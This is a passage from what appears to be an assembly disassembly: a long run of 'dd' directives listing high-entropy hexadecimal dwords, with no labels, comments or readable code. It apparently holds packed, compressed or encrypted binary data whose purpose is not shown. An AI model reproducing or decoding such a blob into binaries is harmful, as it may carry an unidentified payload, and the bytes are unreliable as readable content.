0BA525C70h, 300D142Dh, 0D701EB66h, 0E999CFF2h dd 3343C09h, 0B576CCBEh, 3B93D330h, 9A125267h, 50DCBDB7h dd 475C3CDCh, 5056C95Dh, 9CBD02FCh, 455D3805h, 8B4F4255h dd 0F4F2B54h, 375C0F00h, 0BD7E3DCDh, 0ADF410BBh, 390C680Ch dd 0DB5F45CFh, 2B12718Fh, 283CAF74h, 0D470070h, 5AD03167h dd 92D7625h, 18A1DE7Bh, 0EA88D5BEh, 25D2F63Dh, 0B1880347h dd 59CCD8A8h, 58E22628h, 0F851C01h, 129A5AD4h, 0F078BC61h dd 7EB864EFh, 5E5E8495h, 30E506EBh, 0C20793CBh, 26CF347Ch dd 4A95B2B5h, 8EC506A7h, 6CE3ECh, 6A666938h, 2E9ED9BEh dd 54A57B1h, 0EE50599Bh, 0C68531C7h, 0F4F50812h, 0B25BE87Ah dd 29436C14h, 87A5F031h, 0B284B151h, 0C0A0C270h, 5D867425h dd 0E5009290h, 6103446Ch, 0BF0598E9h, 0B19CA04Eh, 0E0256C26h dd 0B0E2D0C3h, 51972045h, 0E943A280h, 0DFF2ED2Dh, 5A140E38h dd 0D82D4DA4h, 0D70A6616h, 0B09EE8CFh, 16F2062Fh, 0B0EFC13Bh dd 0A16B173h, 69D16602h, 68001063h, 0AB957770h, 28058D1h dd 0E47C50BBh, 0DD84016Eh, 8540FE06h, 0F3220AE3h, 34CCED5Ch dd 43DF2E73h, 95F200F9h, 0C7E94D6Fh, 58BDE39Ah, 90F4E6D1h dd 0F9F895A9h, 0E9E3D961h, 0E77FEA10h, 0C2CE6A59h, 0CE668F05h dd 0E87C9981h, 9C096206h, 0D44AC654h, 3C59245Bh, 5C932C8Bh dd 6174EAFDh, 452EF0F8h, 8263B856h, 0B6C241F9h, 68133150h dd 34AB544Fh, 9ECEEADEh, 0F2C47813h, 4C0592BEh, 0D883B52h dd 47601661h, 97ED07h, 4398B223h, 9F5AD101h, 0F87A8ADCh dd 0A828F0E7h, 60D4E932h, 1F251083h, 3D4B9518h, 0F240BDC3h dd 0EE3B8080h, 2DCA139Fh, 0AD15B38h, 57FEF364h, 0D86A62FDh dd 0B529BE90h, 84E8DD9Ch, 0A57567C9h, 49689320h, 324B2F7Fh dd 4150C798h, 26F8D544h, 4ACF5E86h, 0BA53BE4Bh, 1D01BE0Dh dd 0B5C026ECh, 8814D2C4h, 2708E1E4h, 1C3F250h, 0BFEF4E2Dh dd 6DC3899Ch, 0F955C965h, 27E8201Ch, 5EE68696h, 5271540Bh dd 8B80293Eh, 80E8969h, 6A029F24h, 85331D69h, 70BF6A3h dd 0D4BE0950h, 0E9893EA1h, 0DA5C6D65h, 0EA245D72h, 0DEBEB43Eh dd 0D44AECEEh, 0F3A146F8h, 2F1405DFh, 599771BAh, 3AAB4FE0h dd 550D6311h, 0C51687B4h, 0AA8F955Ah, 2689DEE6h, 2C5846E1h dd 0C43B01F8h, 2B685D12h dd 9BD00E38h, 466AC20Bh, 0D1CDF305h, 71F528D0h, 0D887E4FAh dd 0C03BD497h, 1F1CBB53h, 81494700h, 2867D0CBh, 0BF573A77h dd 8990801Ch, 8606FB01h, 0F51DFFE4h, 0ED93EB8Bh, 0EE0253A9h dd 406F1677h, 318CAF5h, 0F2215A08h, 71B8831Ch, 57422CAAh dd 0F8CA13B2h, 3DA4C0EFh, 9D5D442Dh, 0B65C6EF6h, 79850467h dd 66BA00FFh, 0A03F2D16h, 5F5C2293h, 12C9A859h, 3B40305h dd 64452088h, 1A07C49Eh, 8FC15DA2h, 27A5109Eh, 8519C9DAh dd 0FE892F25h, 0A1BDEC2Eh, 0A63FF560h, 2D74887h, 2E4C5AE2h dd 1368FC40h, 0F9FD177Ch, 10FD9726h, 0E40F1184h, 7F98595Eh dd 0CF3CC509h, 83C1DD12h, 7F052819h, 0F0D55D51h, 0A70DEC78h dd 34CA29B9h, 5EC36560h, 8E62BCBCh, 0FC5B1009h, 66AAF4CCh dd 685C329Fh, 9ACE3966h, 0C33EEEF1h, 99A49F18h, 0DDA612EEh dd 78C5F573h, 51500788h, 0A99F5958h, 6590751Ch, 2F16E1CBh dd 96043545h, 0A016E5AAh, 65990197h, 0A668C04h, 138CA0EAh dd 0FF738225h, 0FE118D82h, 99F9BD04h, 0D524012Dh, 259FAD5Dh dd 0D7C88B16h, 3530D46Eh, 8DB4A3A9h, 0B0E47DC0h, 6C325C6Dh dd 0DF71A725h, 0FA27E0CDh, 24687750h, 69BA1201h, 0D5010EF8h dd 586CA033h, 4B3F07E9h, 37DF04Ch, 849B9CBCh, 0C8DAF2EBh dd 0A45EA533h, 20FF7825h, 2C16B041h, 4D8D596Dh, 0C72A70C5h dd 89684186h, 4F8C6F57h, 0E9D9A8B2h, 7DC2EF02h, 7D62A051h dd 0FA36497Ah, 0E887D7C8h, 0BC09DDF7h, 0D0134B4Ch, 9DB86036h dd 15486455h, 1B94046Fh, 90AB0749h, 444AF383h, 0D4227A26h dd 0B8001810h, 7DE30A1Bh, 3212A805h, 860B0930h, 0D1A08448h dd 5ABDF0EEh, 0F302CE41h, 5875F816h, 0C042852h, 0BB196F30h dd 69DBA590h, 0C6660B3h, 3544295Ch, 2FEBD0BFh, 2F54FA01h dd 684DE962h, 0E19AB67Dh, 0D0921E7Eh, 7F542624h, 25A64D2Dh dd 42261947h, 3A82A808h, 0AEEB3693h, 88AE99D5h, 370F56C1h dd 255E5313h, 0F01F3872h, 0EDF86DD7h, 8E5EE4D1h, 0B9F58C2h dd 0D62C2ED3h, 0DD118E7h, 0D24A9BE9h, 0B9E60A8h, 8FF23A79h dd 0C177D880h, 0F8BDB3C0h, 0C02C8116h, 0EF62DFCAh, 0E9124514h dd 7FF2A80Eh, 0B195BDC0h, 312A628Ch, 0C2BE8FEAh, 6769C30Dh dd 0BF68883Ah, 518A200Fh, 3035EB68h, 0F653523Eh, 1D1009D8h dd 4F705B22h, 198A0F0Bh, 0A1151CDh, 97A41E28h, 7AB5E1B9h dd 93D439E7h, 8D905620h, 611800Bh, 0B115669h, 2ED2AE72h dd 0CFF32B0Ah, 7910F78Eh, 2763B62Ch, 14426B7Ch, 2105C621h dd 0E94197F9h, 0A18CEA05h, 425CA719h, 0F2814A03h, 97D03ECEh dd 4892BAD3h, 54399724h, 0AA2DC193h, 0BC4A24CAh, 32233298h dd 7612DD77h, 0F77A347Fh, 309CEBA0h, 0C3A113C8h, 0C6586AA1h dd 0C3D928C6h, 5B0E0EB2h, 90505393h, 498ACB02h, 0AE82204Dh dd 0C6000118h, 5AFF1F57h, 175BECEFh, 95FC21C2h, 0BCE984E5h dd 685A051Bh, 65AB2732h, 0CB28EDFCh, 1A67DF5Eh, 9A29DF25h dd 0A1029CFFh, 41032059h, 106BCB0h, 3496DABEh, 2C1CA5A8h dd 86592F3h, 0D8806D44h, 3A5B802Dh, 0A23FE77Ch, 0F2455B38h dd 3B376AE3h, 5EBC03A2h, 41DF494Ah, 0C43A9EC4h, 4C99BBB0h dd 4B96F02Eh, 18760D07h, 28A75FBFh, 884B00F9h, 9835727Fh dd 0CFE22261h, 2DE7C65Dh, 5ADC5E5Dh, 1E61CE83h, 3E75FE85h dd 0D3AA3504h, 8243E7ABh, 48ABB3E9h, 1E32F171h, 0DF3B2823h dd 56B0E052h, 890F0206h, 20F338C9h, 0BD1D86D9h, 9CF06DAFh dd 26685BCDh, 1277653Fh, 82600905h, 4DD92D01h, 0E0072E12h dd 40554A52h, 80550FAh, 17141C68h, 163F35Dh, 5D3BF57h dd 0B87E3BE8h, 279C000Bh, 0B4E9602Ah, 3BA0B93Eh, 7D7064A5h dd 0A5556F9Dh, 797FC29Ah, 0F2E941F0h, 0DD599D32h, 4D3075DEh dd 3D6725E5h, 8DAA78ACh, 0A2858F1h, 38BBB026h, 5E80072h dd 55C02C53h, 31DE62Dh, 0E2425CF8h, 7234A157h, 0EB492046h dd 80870F17h, 61BED484h, 0FECDE980h, 5AE6327Fh, 786895EFh dd 0EE959B7Fh, 71D99D1Ch, 931DF508h, 0CE76A934h, 772F3C45h dd 76B74294h, 0A4A0B921h, 8526AC98h, 358468A7h, 3B867296h dd 0FA3838BCh, 5364FB4Eh, 5EBFA580h, 684A38C2h, 410D3B50h dd 0EE830598h, 0FE902FA7h, 5A50D104h, 0E1D0BA1Fh, 251655F5h dd 947D38C8h, 0C362E4Dh, 58CC72Ch, 56F3FB93h, 7706B807h dd 6C355011h, 304C4B56h, 9FBA18D7h, 0B1E337A5h, 4584A04Ch dd 6692A044h, 89CF290Ch, 75E996F9h, 69351D8Fh, 9E4A8956h dd 82B14E79h, 70F452F2h, 0F8F1B5E2h, 27C5BD39h, 5671E2CFh dd 6817569Bh, 8EBC298Fh, 133BCBC4h, 5FE41EB4h, 6C9E44Ch dd 1A4EFFF0h, 41E1C9F8h, 0DB5DC22Fh, 0D8732D9Ch, 97C6680Fh dd 80A567A9h, 462B54D8h, 2E351D00h, 2D37520Eh, 14250176h dd 0E9C2012Ah, 0C1B93532h, 5750DCF0h, 8D8F19Dh, 0BB0064A1h dd 107636E0h, 5FFB0B29h, 6196D931h, 424A6879h, 611D7ACCh dd 885310D6h, 54C72FF3h, 0D3BB0AB4h, 1017DA94h, 48E8141Eh dd 0EDC38083h, 5A60D882h, 89A96C77h, 6C903F11h, 135143F7h dd 41576638h, 275CEEACh, 8A5C2322h, 0E9050FEDh, 50AA85AEh dd 3584CA7Fh, 0CD21044Dh, 40A09DAFh, 29F16B69h, 5A0CC48h dd 79591F39h, 4BFD81AFh, 0BAFFD613h, 0D6D97F3Dh, 0A5F3E98Bh dd 7DF85ED7h, 6442D08Bh, 3DCEA5C1h, 4FEC180Eh, 0DFA2DB0Bh dd 165EC3ECh, 0DFF91D4Ah, 85343E87h, 0E43A8EA9h, 0BA4E4FF2h dd 1BEF0503h, 0D5B192E3h, 5365FC51h, 5879A41h, 622F3A57h dd 0C80E951h, 51D9295Bh, 0B59E59E8h, 0E9167C3Bh, 0C3F3288Ch dd 0C854EB5Eh, 38F30161h, 0F9293E46h, 0F7DA25F5h, 6BC49711h dd 2F07A6F3h, 861C2B20h, 0EA3262CAh, 0E2030602h, 0FA7EC0B7h dd 0D3290545h, 0AEE6FBE9h, 0E79CFB88h, 579463Fh, 5E3AB649h dd 40D5AF36h, 0EF029F4h, 180B612Dh, 6965E372h, 5A2C5CB7h dd 0CC07363h, 0CC3467Dh, 987A270Fh, 0B67EA768h, 411F60D1h dd 0E9173872h, 77AEEA43h, 0A0F9B46Ch, 8F982DD8h, 26466B26h dd 2B87580Bh, 0ADD1762Eh, 94893509h, 0C79778F0h, 0D068878Eh dd 0B4DF0B35h, 965C9859h, 0C12C447Fh, 0D204C82Bh, 24AD0A5Dh dd 88AF6B13h, 7BFB020Ch, 908A92C8h, 521896D0h, 72395E55h dd 167310D4h, 0F0D888FEh, 8D69DFDEh, 394E8332h, 38AB10C1h dd 0F91C50D5h, 0C23F7D41h, 68017572h, 8C2F6962h, 0F97031D9h dd 69FAD4BDh, 482024F0h, 50C483A1h, 0CB06540Bh, 61800706h dd 0E619BDFh, 5713E92Dh, 24857F9Ah, 27B1A85Dh, 0EC84FF59h dd 0CB649033h, 3627C90h, 6B8D1C8h, 8620B493h, 31FF24CAh dd 9789FA4h, 32F477C9h, 0C322DC5h, 72C38BE9h, 2CDF76D8h dd 61A7300Ch, 45ABE954h, 87A2AE88h, 67866882h, 0DE917A1h dd 7DB76FFBh, 76EE8101h, 3B32743Fh, 604F15E0h, 0C4F21B0Ah dd 3B76BC06h, 3620EA05h, 44ABE711h, 0BBEB954Dh, 0FC1C1C31h dd 7BBB8B82h, 98857415h, 12CCA9D4h, 40F8FAB4h, 5D51661Dh dd 65F4DEE1h, 0F2E91EE1h, 5125BAF4h, 6E2FC9D2h, 0BF8BF1D4h dd 0EF2F0874h, 505382FDh, 6277D488h, 5A5AFF42h, 51F8E080h dd 9FB35338h, 3E8BDBF6h, 989E55D5h, 9F059231h, 24E04077h dd 69D497A0h, 208FDA5Ah, 5C5F7BCDh, 29827A75h, 0FFBDEA55h dd 57C9EC5Bh, 0A440D4CAh, 96B361F8h, 45BF0516h, 0BA84AD0Dh dd 2860242Dh, 0EA59C02Ch, 4D49565Ch, 0A14AF1F6h, 0E1DC20AAh dd 94FFD7Fh, 50BE9112h dd 5A2C0BDCh, 0DFF44014h, 0E9258A31h, 891D74F6h, 0BF30366Dh dd 0B980E850h, 0CA590B19h, 0ADA0106h, 0DF559F1Fh, 0CD5E907h dd 2CBF16CEh, 0B24183E7h, 0BCC1827Bh, 0C8215C01h, 6AB9D92Eh dd 0F24BB2E9h, 61BA93DCh, 0C2FC8768h, 0C92AF1FDh, 0D7DAC7F6h dd 0CB54EB09h, 800EB470h, 6F4B63E9h, 0E2F06DBCh, 5F48EA6Dh dd 7E84279Ah, 555770DEh, 0A79FE913h, 877E6CFBh, 772F59B6h dd 9EE0AE22h, 4250B3D4h, 3A097EAh, 7312FE2Dh, 5CCB475Ah dd 150C8B10h, 2EC1A01Eh, 6B88427Ch, 76D02548h, 18389709h dd 22188E33h, 5EBCD1D6h, 0E901164Ch, 4BBC91FDh, 0BA9342E3h dd 70D2F861h, 85D0B22Bh, 0FA98F93Dh, 0AC6C24A3h, 0B2F1011Fh dd 3C169735h, 9F7A14E5h, 19982E2Bh, 68014C09h, 31077C2Bh dd 7B0C32FCh, 7AF4E90Eh, 5A2C20F9h, 3BC6A8B0h, 0ECCF0CBDh dd 310DC424h, 251A2C49h, 2EC6D0F5h, 892680D2h, 41A305E5h dd 0E2E74590h, 7BF15689h, 0C321ADBCh, 839B4CF0h, 3CDA68E3h dd 0D395EC46h, 72F11929h, 0A5E705F6h, 0E05FE984h, 3BF646Ch dd 2D4E2C8Ch, 0FBFC5A10h, 0E266518Eh, 0F4E5B050h, 2D1633EAh dd 25790C48h, 9C79DE41h, 155E2D0Dh, 0FEF7B103h, 0E9C990C1h dd 0E13770EBh, 8DDF8822h, 0D8A9851Ah, 0B02578C8h, 0AB7F866h dd 3B68890Fh, 4CF1050Fh, 0E1CB0034h, 1EFE3C45h, 0DC2D5825h dd 0A3CB4255h, 0D45DF0Bh, 78098829h, 4419D509h, 5F09E6A3h dd 0B24E6780h, 0A0B4215Ah, 7F6F6A86h, 0D7B84B5Ch, 2663E0A5h dd 34C02D5Ch, 413417EBh, 0F75B8001h, 3C42D230h, 16AB9A16h dd 0FDD321CCh, 0CDF6C79Ch, 0ABC7770Bh, 0A55576AFh, 1CA23E7Dh dd 2D138F68h, 2D504AFCh, 51610A9h, 7A07461h, 0DD92C4E9h dd 0BF2544Ah, 82F68C2h, 0D769A774h, 0A846039Ah, 5CE95017h dd 0A5ABAE84h, 2BFD2F72h, 0AD655517h, 20B8D04Ch, 0E39CEA48h dd 7A873C81h, 0CD4A3138h, 68ACE33h, 8F0B23D9h, 0E9C242FFh dd 6AFA39AFh, 0EA09A2A2h, 0FA099455h, 1A256184h, 45347A0Dh dd 0F85D0098h, 0C721027Fh, 0CD4BE913h, 9B677FEh, 38E59791h dd 835D049Eh, 96A9FFC1h, 5E118D12h, 0E5EC1D1Ch, 0DDF956B0h dd 5815A80h, 0BB9FADEDh, 0D504EEBFh, 0BB1FA87Bh, 2203442Fh dd 5610EDC1h, 6816ACD5h, 0E237EF88h, 48F140D4h, 9F5BB73Fh dd 204AE540h, 7A6877EFh, 0EB1B9DACh, 220530E8h, 0E9D53105h dd 0C5448FCEh, 28F3D8C8h, 7117A35h, 818C0F76h, 7DDAF7ADh dd 0EB595EE3h, 3F725508h, 4D10BBC0h, 0E9134287h, 7FDF65Dh dd 18A9E7Dh, 0CE7DB9BEh, 61B42E56h, 4360626Ah, 0B1E159C8h dd 4BCE38F3h, 0CF681C30h, 2E4D9378h, 3BE98501h, 4B9D4533h dd 72675467h, 64CEFA96h, 0F549FC92h, 97DE24A2h, 4EAAE344h dd 4BE97BA4h, 3668745h, 0C96466ECh, 0BF135AA8h, 0BD099336h dd 68D86ADEh, 0ABD8D2C2h, 0E9833BB3h, 713BF1FFh, 0E186ADD8h dd 0B07B475Ah, 681F41A6h, 6D5233BEh, 4A8DC2F4h, 0C64CBC92h dd 296DFA25h, 8FE855E0h, 36EAD388h, 0F22980DFh, 260CB850h dd 13614A24h, 753BBA02h, 854AFD03h, 0E1580804h, 43FC2B8Bh dd 0CCF53112h, 8095EC01h, 53CAFEECh, 5B057AB7h, 0FBC014Fh dd 6F81278Bh, 86F6C0D1h, 89689100h, 0C8C53762h, 4A9B57E1h dd 7E7038F1h, 0BE4A319Bh, 9254D4C8h, 0EBEBCEFh, 0A06B76FFh dd 0D2008CF1h, 0E93FA804h, 58A400Ch, 2D18B13Ch, 0AC967F68h dd 2D325358h, 53269DDh, 0F77C8A5h, 0BB97C6B7h, 12DDB40Ah dd 0DCF7AF6Dh, 7E686604h, 5EECBC01h, 2B4329EAh, 0E969BD01h dd 0E32F0C12h, 0CFB896C1h, 2C31CC10h, 8C00FB5Eh, 5D394C46h dd 0A9F05A21h, 50108EACh, 4430AF4Ah, 50613699h, 127CF26Fh dd 0AE0EB1D7h, 0A84D117h, 589CBEBh, 644953DFh, 0A13B87AAh dd 356ED050h, 0E312859Fh, 0CFD00742h, 501377EAh, 61CB60Bh dd 31C8227Ah, 0C2391ECAh, 0D24A130Ch, 608C3381h, 0D89E712Fh dd 7AC57EDh, 28DB0996h, 2CC047A5h, 903912E1h, 4526C383h dd 4B86EB52h, 0F7AE6285h, 90F94BAFh, 0E4F5D48Bh, 5C68128Dh dd 0B699353Ah, 64AC18B3h, 3959CB49h, 54A86E2Dh, 0C6AF34B9h dd 0FEA6C11Ah, 79318BB1h, 0E81AD5F9h, 4488D97Dh, 434D4933h dd 0FC265E16h, 0A5EBB48Dh, 5D032B70h, 2A61F968h, 989AC469h dd 0FB415AB5h, 1A221B31h, 895EA33Bh, 0A15958C8h, 0FC3B2B42h dd 0A168C206h, 6333D440h, 0EA852D9Ch, 0FD5A39CEh, 132F48A0h dd 0D789E66Eh, 6C59BF00h, 0A3C0BD58h, 0FE056E0Bh, 8D820F28h dd 5B99FA23h, 0C771A453h, 0BFF9970Bh, 0F184FF2Ah, 5A8C8B50h dd 51A1C0B8h, 0C1F97F50h, 11A2FFB4h, 0CC0163C4h, 570456C8h dd 9E7F0E68h, 4940D0FBh, 16056A47h, 3C8BFE89h, 0E96598BAh dd 42938E30h, 255C7CB9h, 0DFF457F5h, 60FF5163h, 77E9DA82h dd 2B4CBB36h, 52915BA2h, 3BBFFEFh, 47ADE702h, 0DC4065F8h dd 152C14F2h, 0A120D360h, 17D3F704h, 0A0A845BDh, 0D3AAF25Fh dd 1515210Dh, 5AC76320h, 0ADF724A0h, 0C9E68521h, 0DEF366EBh dd 0E961BCB9h, 8D348209h, 277A9858h, 0A615F112h, 2085E90Bh dd 4DE7BF16h, 0F267616Ch, 8CD2BAD0h, 0FD9BF984h, 3B3709EAh dd 1B8077F8h, 27D61C8Fh, 1CD00176h, 0E4A24B08h, 134241CBh dd 4E3C97F4h, 0EA0F50E4h, 8B4E6354h, 0EF85C056h, 0B05719Ch dd 0D8D7B7A8h, 0CAFC9A70h, 0C013901h, 0E518E954h, 7BD2697h dd 0A4315A71h, 0BE8E903Ah, 122F56A6h, 0A995C22h, 40E9989Eh dd 73F6144Ch, 0C2A55195h, 4EDEF4E9h, 53CAB125h, 8245AC3Fh dd 755EF389h, 88249CF1h, 0FEE56AA4h, 0DB35CF07h, 0A4EEDD0Bh dd 14DB65BDh, 0FED72059h, 0A7A5E586h, 0A4DF27F0h, 68020A41h dd 25547242h, 0B3BB53C0h, 0C00A5A5Bh, 164CFD13h, 0B21E1E5Bh dd 1B84CB41h, 0A26B5642h, 291F0771h, 80A937CFh, 121BA8CAh dd 3FBE041Dh, 0BF182A5Dh, 8331210Ah, 5CA1E905h, 455A90BDh dd 0E8535A5Ch, 813D25Ch, 0E9C243F2h, 32668706h, 5F585716h dd 0D52031A5h, 0DC3FE1A7h, 0CD3A8121h, 4649015Fh, 70FE870Fh dd 82EFF39h, 11130B08h, 7E2159E9h, 4AAC4B17h, 0F48A3FE9h dd 0D8BE3850h, 1969DACDh, 70F06881h, 5A1D2DFFh, 3A414168h dd 89ACC517h, 488AFAFDh, 0BD204F0h, 0D4D481CBh, 2EA82A95h dd 4EA01C4h, 5105F6A3h, 4B57AAB9h, 0D8A47C22h, 0A337A51Fh dd 85FF93ADh, 63C2EB00h, 0A03FD621h, 2BAA388Ah, 0DA77BB4Eh dd 0DB108CDFh, 0E66E4838h, 0AF9291D4h, 0D31384E6h, 0C4C4B8AEh dd 5809D842h, 0E927FBBCh, 0BC8ED8D5h, 7AD75294h, 953B2D7Fh dd 414BBA7Fh, 92651224h, 9C055560h, 7496C281h, 3C32BD00h dd 81750230h, 83EA91EDh, 6A9C2DFh, 2DFC2B2h, 0BA685153h dd 1D416F7Ch, 0EBC2A0Ch, 2A42C6B4h, 471FFD08h, 0E041C41Dh dd 0E106815Bh, 50D50198h, 0AC8C4E4Ch, 0BB1F8068h, 9051F538h dd 554408Ch, 0F907410Bh, 2D1B0575h, 77680702h, 0A577E751h dd 62A1C368h, 0BF54E980h, 0DAF65100h, 89EDC280h, 5008E106h dd 0E8672A4Ch, 81C15AB5h, 3A2C5D66h, 0D8F27840h, 9012F011h dd 3F500C5Eh, 5AC416DBh, 53175EBDh, 4B7EB3FAh, 0AA13A448h dd 2C1CCDA2h, 0E9F428B9h, 5301603Ah, 0D8B75DB3h, 0B4922A65h dd 4A2D3D1Ah, 31AD8104h, 0D2488C6h, 0FC7EBE41h, 0CBC99E17h dd 0B83EC6EFh, 48E70B24h, 64DD35E5h, 6BCA25DBh, 96552D0Bh dd 2715FD9h, 2EAC016h, 0FCF29DA2h, 5091AE1h, 0F8AAC5BBh dd 78F82777h, 0FAEE09DDh dd 0EB30F488h, 2CD6E528h, 40C805B0h, 0DF09F76Eh, 784E860Fh dd 0B2D99F6Ah, 0FC4C641h, 48AD9838h, 0B941B7B5h, 63B50B7Bh dd 0E2F76A29h, 9A71F790h, 68BA01E9h, 563C0D5Fh, 0BC4957C1h dd 0AD74306Ch, 9343B60Bh, 0AE65DF01h, 0C2EE830Eh, 0A24B7E68h dd 4AD9E29Fh, 0A278229h, 0C80081Dh, 0EEC79CC5h, 4D26DB0Fh dd 0F0A8690Eh, 0E8211714h, 0D5CDFB5Dh, 0A830A120h, 0CB478F4Dh dd 0F02106EEh, 27CA215Fh, 1EA11CCh, 0EE4A4A35h, 0FBF29E93h dd 0D1E0F231h, 3AA2CCF0h, 0C88BF24Fh, 804E5658h, 9EA62D2Fh dd 89AFF512h, 0FAF2EC09h, 0A4C33914h, 0C94DEB9Eh, 0CF7A99DEh dd 2039DD05h, 82BB0964h, 69F05594h, 925BDAEAh, 7A2C47BBh dd 0E7FD0946h, 93FE96F6h, 394CBE8Bh, 83551CDFh, 0BBA1A8D7h dd 0CF2D067Fh, 0F83DD533h, 5453A466h, 0F388F701h, 0B97E285Ah dd 0A7AA9E96h, 38620313h, 0BA6A008h, 0CE8B800Fh, 565F6568h dd 5F702B26h, 46FF8912h, 2ED73372h, 0D685E09h, 0C4625478h dd 0A98BFB0Ch, 0ED446627h, 81CF5769h, 32217AC1h, 0F7DC47C1h dd 0DB9A1352h, 4A22F8B5h, 0BF8C0061h, 0BB6DA6Fh, 0D64CEDE9h dd 0C27F510Ch, 0BEFFEE7Dh, 0CA640861h, 3DBF709h, 4F51CEh dd 0B226EB41h, 8A53FACFh, 0DF8BD91Fh, 0FF595FC9h, 0A9567E4Ah dd 9BA5258h, 2F603AF7h, 0B913F00h, 0FA9F78DAh, 40FFB013h dd 200CBADDh, 28549607h, 998EE2Fh, 868C0F6Eh, 9A700A29h dd 0A2E9420Bh, 5B587E6Ah, 24F96E5Ah, 0CC1FA05Eh, 3500D194h dd 43BD296Fh, 840F0D48h, 0F1329546h, 185EE8FDh, 1FBA44FEh dd 0BCA99920h, 4D193C75h, 2BC56F45h, 0CD7D2Ch, 32E15B06h dd 1B84890Fh, 5EC00CA0h, 1C444B24h, 1C732A00h, 32EA8908h dd 15C8351h, 0E017407Dh, 50B6130Dh, 0CA9CAE21h, 3F6EA801h dd 0C7E2708h, 7F304782h, 0D058B903h, 27C160CAh, 0A60903E1h dd 130DA987h, 0D0B7427Dh, 8323D46Dh, 7F5650B7h, 16CD5F57h dd 4604AF6Dh, 0CCAA89B3h, 1E46BC8Ch, 0AD00C11h, 0DAC165E9h dd 9590C381h, 893E01C5h, 7311309Ch, 58D6AA83h, 507BB561h dd 16DE3189h, 1E9171Ah, 0CA4AAC8Fh, 3D05F949h, 0CFCD895Fh dd 0C555E2D8h, 0EACE0C4h, 0EFCFADF0h, 9238FB13h, 2F3C4568h dd 287FD4C0h, 925250DCh, 9A330678h, 1CF9011Dh, 0F7E90883h dd 0B55C82A3h, 0B2EA8809h, 0F88660CDh, 30B149E9h, 0D8685C0Dh dd 0EFA97B67h, 70BAC296h, 7CBD94D0h, 0F05F72D7h, 0BF68120Eh dd 9A4E360h, 555843E9h, 1CBD9B9Eh, 25E9F81Eh, 0CEC7AAC7h dd 6588DE27h, 20849D5Ah, 55135BA8h, 4006EEDh, 8103EBC1h dd 50E10CF3h, 1B0C466Ah, 0D90B4A28h, 908DB720h, 4FBF78AFh dd 9858042h, 11F01C4Fh, 6844934Eh, 0AD44C74Ah, 0D6F6022Ah dd 509FC0C0h, 87B12751h, 0E906EADBh, 0C71FAFh, 7F2E70EBh dd 3A684340h, 8002764Dh, 27F51025h, 0C1D800F7h, 0A20D02E8h dd 7200AC19h, 445BBD55h, 0FC01C260h, 0E1FE5AE9h, 457411Ch dd 562D003Bh, 0F1B53DC7h, 45D44B16h, 0AB0D3F50h, 0B63B4F99h dd 0AC32675h, 4C92865Ah, 4762C439h, 0CB290203h, 8659DF59h dd 0FFE78942h, 3089ADDBh, 0E5D268B8h, 2E548117h, 187CA2F1h dd 0FE5538Fh, 0F2E2EBCAh, 7580593Eh, 0F0CF8139h, 6AF90923h dd 4A7E6DB4h, 60503146h, 151B2DCDh, 486276Dh, 3AC04580h dd 1810C4AAh, 0FAF2CE07h, 0A0E38180h, 0B07D6FC4h, 9A7144Ch dd 0D91C925Fh, 64CFD25Bh, 53A2FF99h, 666105C3h, 5F2DE602h dd 80740E46h, 0A7BE56D1h, 0B03E9804h, 86720595h, 24EAD83h dd 0EB7FE6BFh, 18D9068h, 29313316h, 0EA1FFB04h, 7FF16802h dd 6D4298D7h, 0E4CE0580h, 566C6FEh, 0F9C707D1h, 4F5F10D4h dd 0D622A640h, 494AC0Dh, 1A7A565Eh, 0E9B3D0EFh, 0AB2E0EC0h dd 19248A67h, 3AB00820h, 90865740h, 0D3F63516h, 0FE35980Bh dd 7096C348h, 10E98AC4h, 334908A0h, 0D106D9F7h, 785AE42Dh dd 0B1315CD1h, 4AFD2D10h, 21B74AFh, 7E0AE984h, 46292369h dd 0C84808BFh, 254320B4h, 5C468968h, 0E90830B7h, 47D34E50h dd 0E9870241h, 0FE139E75h, 0B99BA08Eh, 47680BAAh, 2853893Ch dd 0D47D6428h, 41535E1Ch, 413D8664h, 0E4CB88E0h, 69FE99DAh dd 126AE6D7h, 0A9ED6AE9h, 8850C243h, 0A6C476DCh, 62BE2964h dd 4CFF585Bh, 0F0302E93h, 0E1F03DB1h, 10AF8B2Bh, 81680D0h dd 0C05363E2h, 0EAF007C3h, 0A0276847h, 9CC5597Ah, 58C58BD0h dd 6E25B791h, 37009F12h, 116B3D1Dh, 0BCFC9D89h, 0C665B08Ah dd 0F661F48Bh, 811A6E0Fh, 0F7258AF1h, 0A554AD31h, 1E18C00Ch dd 0E4B680ADh, 3D11805Ch, 0C77C9250h, 24AB99B4h, 0A49D473h dd 80D78D2Bh, 5AEC2AE0h, 312411BFh, 802D11B0h, 799CE75Ah dd 0C12A3BE1h, 0C700F64Ch, 7E721C9Bh, 49554468h, 40C06F56h dd 0CC6A82h, 0B7D7BA42h, 0C22960B9h, 0AA5F29B8h, 68CC70BAh dd 0D8B94C63h, 4137F4C9h, 6F271768h, 5E8003DCh, 0BE703055h dd 0FA0177C4h, 3EC3BD0Ah, 0C13A0B7Eh, 2723D4Bh, 3F917D42h dd 4D8EC76h, 36156816h, 8791CD67h, 842B8EF5h, 0A797EF22h dd 97971466h, 970A6E78h, 0C933122Ch, 1B9202C9h, 0DCFB55FCh dd 6BD7953Dh, 2DCF0EC0h, 1BEF640h, 133B799Fh, 4CDFDE62h dd 2BD102D0h, 0FD3157B5h, 0F265C071h, 0AE05A2D0h, 0EA7C2DDBh dd 19FC5309h, 0FB27D02Ch, 2493BDD9h, 83D1B81Dh, 8CFF92B6h dd 4048143Dh, 0A722298Ah, 0E5038164h, 2742157Eh, 370FB3D1h dd 0E0DDA99Eh, 766D309Ch, 0AF3183F8h, 0B3F5199Bh, 2470EFE4h dd 8E67D1E9h, 0D7DC8B5Eh, 0B937E866h, 0E9157479h, 8103E78Ah dd 15939CDh, 0D948B29Fh, 8F8518DDh, 1F0F2F72h, 38A5935Dh dd 0E35E6226h, 4BAF5B4Ah, 0A8E68FBDh, 4BA1BB01h, 816877AEh dd 607F7CE6h, 5F27749Ch, 8408990h, 9517FC8Ch, 109AD5Eh dd 1F7FFCD8h, 0AF225325h, 33FB7613h, 13AC6EE5h, 40F6350Bh dd 0CDEF727h, 0F5178E0Fh, 3003C6E1h, 0E93C90C0h, 2218AC91h dd 40BAFA5Fh, 0EA2F7A20h, 5AF45D05h, 1FBF5700h, 2978AB58h dd 8247C12h, 6E90FB0h, 1577567h, 0F195166Ch, 164206AEh dd 0B6208E28h, 0C03AED4Dh, 0FD889943h, 610CF9BFh, 0CCCCE580h dd 